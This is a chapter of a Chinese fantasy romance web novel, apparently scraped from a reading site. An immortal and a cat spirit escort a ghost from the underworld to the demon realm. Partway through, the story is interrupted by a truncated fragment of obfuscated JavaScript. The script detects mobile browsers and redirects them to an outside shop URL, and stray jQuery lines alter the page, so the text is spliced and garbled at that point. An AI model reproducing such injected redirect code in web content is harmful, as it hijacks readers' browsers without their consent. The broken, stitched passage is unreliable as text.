华潋无言以对,略显尴尬地动动嘴角,走到隋澈身边问道:“案子如何了?”
“哼。”
还闹脾气了。华潋啼笑皆非,伸出两指轻轻捏住隋澈的衣袖晃了晃,唤道:“小猫。”
隋澈自知见好就收,双手垂回身侧,叹一口气说:“阿醴没白死,他用命了结了案子。县令当堂审出那些游商乃明知故犯,判为首者死刑,呈禀上级秋后问斩,还根据其余人的供词派遣衙差去抓人,现下已经抓住了被恩仙绑在七菇山的那俩,估计过不了多久就能将他们的老巢一窝端了。我来之前狴犴神君还托我转告恩仙,他会一直盯着此案的,另外这桩任务的功德他也会及时送去慈赈司。”
华潋放心道好。
隋澈左顾右盼,目光未能搜寻到阿醴的身影,不禁有点担心:“那,阿醴他……”
阎君嗽嗽嗓子吸引他二人的注意,随手拿起生死簿状不经意道:“阿……什么?”
“阿醴,蜜醴酒的醴。”
“哦。”
华潋与隋澈对视一眼,同时松了一口气。
阎君不紧不慢地翻了翻页,道:“嗯……在这里,他的魂魄还没来冥府,须得再等……半盏茶吧。”
“多谢阎君。”华潋说着,朝隋澈使了个眼色。
隋澈无奈会意,摇身一变成了玄猫,喵叫着往大殿宝座颠颠跑去。
阎君顿作柔肠百转之态,玄猫叫一声,他就跟着叫一声:“哎哟!哎哟哟,哎哟哟哟哟……”
华潋微微颔首,抬指掠过鼻尖掩笑。
玄猫大着胆子跳上桌案,面对阎君蹲身坐好且将生死簿踩在脚下,然后抬起一只爪子舔了舔,假模假式地在脸上蹭了两圈。
阎君笑眯了眼,不由自主地掐着嗓子说:“哎呦喂,小猫还会洗脸呢呀!”
隋澈:废话。
洗完脸,玄猫又背着于案,露出肚皮翻身打滚。
阎君眼睛里简直要冒出粉黛芳心,呜呜哼哼好几声,伸手就要抚摸猫背。隋澈觉得有点别扭,便趁打滚儿时往右一躲,却一不小心掉下桌案,幸而他反应神速,调整姿势四足着地免去了一场困窘。
“咪嗷,咪嗷。”玄猫叫了两声,缩起爪子在地上趴作小黑团。
冥府大殿乃阴寒之地,猫不甚习惯,莫说半盏茶,便是这一两刻都冷得抖了抖。阎君见状,俯身将之抱起并用身上厚实的毛氅裹住玄猫的身体,只留出一颗小脑袋露在外边。见其鼻头一耸一耸的,阎君惋惜道:“小猫都不喜欢寒冷的地方,老君强留下它,怕是会害它得了病。罢了,牛小花,等会那个什么阿醴来,你便将它们都带走吧。”
“多谢阎君体恤。”华潋拜谢,打量着阎君对猫爱不释手,又提议道,“阎君这般喜欢猫儿,不如改日我去逮一只山猫来,请阎君笑纳。”
阎君不以为真,但见华潋言辞诚恳,笑着应好,又挠了挠玄猫下巴逗弄三两下便放其回去了。
半盏茶后,鬼魂阿醴来到冥府第一殿,被牛头马面押到孽镜台前。镜中照出的景象不外乎是其生前守护古璇儿的点点滴滴,一生除了在七菇山时闪过的闪念再无旁的恶行。
“如此看来,你确可以投胎为人。”阎君话锋一转,“不过,老君听你朋友说你是想去当妖?”
“朋友?”阿醴双目无神似傀儡一般,恍惚地望去,突然怔住,“你、你们!”
华潋和隋澈同样感到诧异:鬼魂阿醴的身形佝偻病态,半点瞧不出其生前的挺拔之姿。胸前一处腐烂的破口黑洞洞的十分可怖,面色惨得像抹了石灰,眼球泛出青白幽光,眼底又堆积着像是烧过的炭痕,眼角、嘴角和鼻孔更是充斥着黑红血迹,恫惧得很。
华潋回过神来,无可奈何地同阿醴道:“都跟你说了,我们是仙,可以帮你,你怎么还那样冲动。如今搞的自己脸肉身都没有了,想再变妖就麻烦多了。”
阿醴难以置信,踉跄着靠近二人,眼中爆出希冀的光,喑哑的嗓音竭力挤出一句:“我……我真的能再见到璇儿吗?!”
“这取决于你作何选择。”华潋解释,“若你想投胎为人,那就喝下孟婆汤、走过奈何桥,待来世时机合适,我们会叫妖者悬今,也就是你这一世护着的古璇儿与你见一面,不过那时你就不会再记得她、不会再记得你们之间发生过的事情。又或者你放弃投胎,现在跟我们去妖界同悬今见面,她若肯念及旧情帮你变成妖,你就还能活,否则……”
“如何?”
“灰飞烟灭,再无重生。”
华潋话音方才落地,阿醴便道:“我要见她!”
阎君叹罢,执笔在生死簿上勾画两笔便下了逐客令:“行了,你们去吧。记住,鬼魂只能存于世间七日,到时未能变妖,那么……”
“明白,多谢阎君提醒。”
华潋拱手致谢,转身正要离开,忽听阎君又同自己传音:
“若有需要,可去万妖塔寻妖丹。”
华潋一顿,传音再谢。出大殿后,隋澈变回人身,拍拍织星额带取出一方帕子,对阿醴说:“你一鬼魂,既晒不得日光又受不住云踪遁术,实在不方便赶路,还是附在这块帕子上吧。”
阿醴再不敢不听话了,老老实实地站在原地任由仙人施法将自己附于帕上。
二人带着帕子来到了妖界。
明明该是熟门熟路地行地主之谊,隋澈却在入妖界后变得束手束脚起来,两只手交握于身前十指来回掐缠,只顾着领路去找悬今而一言不发,且即便行路他也是步伐时快时慢,浑身上下透出一股说不出的忸怩之气。华潋同他闲话一二,他皆是答得心不在焉,总之与平日大相径庭,奇怪得很。
他似乎在躲着什么?华潋有所察觉,却不明缘由,想到彼时狴犴说的话,内心暗道认可:许是在妖界多呆几日才能弄懂这只小猫在想什么。
“恩仙,走、走这边……”
隋澈摆手指路,胳膊只迅速抬一下便又收于身前。华潋斜目睨去,发现他落下的手非但紧张地攥成了拳,肩头亦是不断耸起复落,实在忍不住好奇地问他:“小猫,你怎么了?”
“啊?怎么,我、我怎么了……”
如此心慌意乱地回应更加重了华潋的疑心。她思索少顷,脸色微微冷淡,轻声问道:“你莫不是怕遇见旧情人?”
好似踩了玄猫尾巴,隋澈当即叫出了声:“什么……哎呀!我我我哪有什么旧情人!恩仙你不要取笑我呀!”
“那你怎么奇奇怪怪的?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356463|199687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我……我没有啊……”
说话间,一位挑着扁担沿街叫卖的货郎妖突然折返追来挡在二人身前,从头到脚地扫量着隋澈,稀奇地“哎”一声,口吻不确定道:“你不是隋家那个……”
言未尽,隋澈瞬间神情紧绷,面色僵硬至极,嘴角不由自主抽动一下,虚声虚气地打哈哈道:“呵呵,是啊,呃……”
华潋旁观看戏。只见货郎妖确认了隋澈正是他口中的“隋家那个”之后,放下扁担惊喜地招呼起来:“还真是呀!哎哟,我刚从你身边路过嗅到一股仙气,这才没敢认!想不到你这小子还真是出息了,真成仙了呀!嘿嘿嘿,你还记得我不?你小时候我还抱过你呢!”
“记得记得,您就是巷子口那间酒铺老板,周大叔嘛……呵呵……”
“没错没错!当时你尿了我一身呐!还险些尿进我的酒壶里!哈哈哈哈!”
“……”
隋澈强颜欢笑地寒暄,眼神不时闪躲,身体亦表现出两分的抗拒,隐有逃离之意。华潋将其反应尽收眼底,愈发不明所以:都说“富贵不归故乡如衣绣夜行”,想来妖修仙道亦是此理,况且依着小猫的性子总要显摆一番才对,不该是这么勉强的样子……
“对了,你爹他……”
“他他他——他挺好的!呵呵呵呵!那个,周大叔,我、我就先走了,我有急事找悬今!咱改日再聊哈!”隋澈边说边抓住华潋的胳膊带她一口气跑出去好远,直到再也看不见货郎妖的身影,他才猛地松开了手,作揖致歉,“对不住对不住!恩仙,我……我不是有意冒犯你的,实在是……”
“无妨。”华潋隐约猜到隋澈的种种反常与其父逃不开关系,却并未点破,只问,“悬今在何处?”
隋澈莫名舒一口气,指了指不远处的一间当铺,说:“那是她家的铺面之一,也是她最喜欢呆的地方,咱们去问问便知。”
“嗯。”
“说起那间当铺啊,那可是悬今的最爱,从前她就喜欢坐在高高的柜台后边等顾客上门典当,然后连哄带骗地把价钱压到最低,连我这么聪明的都还上过她的当呢!”
“……”
“那会儿我还不认识她,费了好大的劲才把东西赎回来,她还不乐意给,故意抬价欺负我。不过我也不是好欺负的,吵了两句就把东西要回来了。”
“……”
“只可惜后来她过生辰,哭着喊着非要我送她生辰礼,还指名道姓地要之前典当的东西,属实烦人的很,没办法,只好送给她了……”隋澈自顾自地说,走出好几步路才意识到华潋并未同行,便停下来回头问她,“恩仙,怎么了?”
华潋盯着他看,佯笑称无事,却不及言罢便抬步疾行,脚下生了风。
隋澈险些没跟上,匆匆追去还觉奇怪,嘟哝着:“怎么突然生气了?”
风中飘来一声极轻的嗤笑。隋澈顿步,低头看着别在腰带上的帕子,沉了声问:“阿醴,是你在笑?”
“嗯。”
“笑什么?”
“嗯……没什么。”
“快说!不然一会儿我不把你变出来,看你怎么见悬今!”
阿醴受制于人,只好犹豫地说:“我是笑,你的恩仙她……吃醋了。”